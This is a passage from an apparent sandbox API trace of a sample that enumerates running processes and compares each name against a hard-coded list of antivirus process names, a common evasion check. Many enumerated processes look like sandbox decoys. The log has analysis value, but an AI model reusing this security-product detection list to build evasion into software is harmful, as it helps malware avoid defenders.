th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0272.889] lstrcmpiA (lpString1="lsass.exe", lpString2="ccSvcHst.exe") returned 1 [0272.889] lstrcmpiA (lpString1="lsass.exe", lpString2="avgcsrvx.exe") returned 1 [0272.889] lstrcmpiA (lpString1="lsass.exe", lpString2="avgsvcx.exe") returned 1 [0272.889] lstrcmpiA (lpString1="lsass.exe", lpString2="avgcsrva.exe") returned 1 [0272.889] lstrcmpiA (lpString1="lsass.exe", lpString2="MsMpEng.exe") returned -1 [0272.889] lstrcmpiA (lpString1="lsass.exe", lpString2="mcshield.exe") returned -1 [0272.889] lstrcmpiA (lpString1="lsass.exe", lpString2="avp.exe") returned 1 [0272.889] lstrcmpiA (lpString1="lsass.exe", lpString2="kavtray.exe") returned 1 [0272.889] lstrcmpiA (lpString1="lsass.exe", lpString2="egui.exe") returned 1 [0272.889] lstrcmpiA (lpString1="lsass.exe", lpString2="ekrn.exe") returned 1 [0272.889] lstrcmpiA (lpString1="lsass.exe", lpString2="bdagent.exe") returned 1 [0272.889] lstrcmpiA (lpString1="lsass.exe", lpString2="vsserv.exe") returned -1 [0272.889] lstrcmpiA (lpString1="lsass.exe", lpString2="vsservppl.exe") returned -1 [0272.889] lstrcmpiA (lpString1="lsass.exe", lpString2="AvastSvc.exe") returned 1 [0272.889] lstrcmpiA (lpString1="lsass.exe", lpString2="coreServiceShell.exe") returned 1 [0272.889] lstrcmpiA (lpString1="lsass.exe", lpString2="PccNTMon.exe") returned -1 [0272.889] lstrcmpiA (lpString1="lsass.exe", lpString2="NTRTScan.exe") returned -1 [0272.889] lstrcmpiA (lpString1="lsass.exe", lpString2="SAVAdminService.exe") returned -1 [0272.889] lstrcmpiA (lpString1="lsass.exe", lpString2="SavService.exe") returned -1 [0272.889] lstrcmpiA (lpString1="lsass.exe", lpString2="fshoster32.exe") returned 1 [0272.889] lstrcmpiA (lpString1="lsass.exe", lpString2="WRSA.exe") returned -1 [0272.890] lstrcmpiA (lpString1="lsass.exe", lpString2="vkise.exe") returned -1 [0272.890] lstrcmpiA (lpString1="lsass.exe", lpString2="isesrv.exe") returned 1 [0272.890] lstrcmpiA (lpString1="lsass.exe", lpString2="cmdagent.exe") returned 1 [0272.890] lstrcmpiA (lpString1="lsass.exe", lpString2="ByteFence.exe") returned 1 [0272.965] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.018] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0273.033] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0273.123] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.142] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0273.159] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.174] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.189] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.206] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.222] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.237] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.252] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.268] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.284] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.299] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.315] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0273.333] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.362] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0273.377] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.393] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0273.408] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x7b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0273.424] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0273.442] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0273.459] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0273.486] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0273.502] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0273.518] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0273.534] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="makeobject.exe")) returned 1 [0273.549] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiative lab lindsay.exe")) returned 1 [0273.565] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physicalillustrateder.exe")) returned 1 [0273.580] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="concluded rochester discussed.exe")) returned 1 [0273.596] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno.exe")) returned 1 [0273.611] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="narrativehosting.exe")) returned 1 [0273.661] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="address.exe")) returned 1 [0273.688] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cet-algeria-municipal.exe")) returned 1 [0273.736] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawyers-cohen-accomplish.exe")) returned 1 [0273.771] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="photo.exe")) returned 1 [0273.800] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="jury photographic recommend.exe")) returned 1 [0273.836] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="teeth.exe")) returned 1 [0273.899] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bible.exe")) returned 1 [0273.946] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="canvas.exe")) returned 1 [0273.997] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cinema-count.exe")) returned 1 [0274.033] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tyler.exe")) returned 1 [0274.076] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="systems-limitation.exe")) returned 1 [0274.221] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="intellectual cleaner.exe")) returned 1 [0274.257] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="parker_sonic_metallic.exe")) returned 1 [0274.299] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="phrases_unique_mem.exe")) returned 1 [0274.346] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0274.390] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0274.423] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0274.470] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0274.520] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0274.564] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0274.610] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0274.666] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0274.706] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0274.752] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0274.798] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0274.845] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0274.893] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0274.939] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x680, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0274.975] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0275.017] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0275.064] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0275.111] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0275.204] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0275.252] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0275.299] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0275.346] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0275.392] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0275.439] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0275.486] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0275.534] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0275.579] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0275.671] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0275.720] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0275.768] Process32Next (in: hSnapshot=0x28c, 